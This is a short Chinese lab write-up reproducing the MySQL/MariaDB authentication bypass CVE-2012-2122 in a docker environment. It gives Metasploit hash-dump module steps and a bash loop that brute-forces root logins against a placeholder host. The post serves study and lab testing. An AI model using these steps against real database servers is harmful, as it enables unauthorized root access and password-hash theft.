身份认证绕过漏洞复现 CVE-2012-2122

漏洞原因
当连接MySQL时,会导致memcmp返回一个非零值,会使MySQL认为两个密码是一样的。也就是说只要知道用户名,不断尝试登入SQL数据库漏洞。
影响:Mariadb和mysql版本:5.1.61、5.0.11、5.3.5,5.5.22
漏洞复现
1,cd /mysql/CVE-2012-2122
开启漏洞环境 docker-compose up -d
2,先用nmap扫描一下mysql的版本为5.5.23
3,msfconsole中的模块漏洞验证
msfconsole 进入msf
use auxiliary/scanner/mysql/mysql_authbypass_hashdump 选择该模块
set username root 设置用户
set rhosts xxxxxx 设置IP
run 开始运行
4,解hash,解出来登陆
5,mysql -u root -h xxxxxip -p
6,第2种方法 shell脚本for i in `seq 1 1000`; do mysql -u root -password=bad -h xxxxxxxxip 2>/dev/null; done
本作品采用《CC 协议》,转载必须注明作者和本文链接
推荐文章: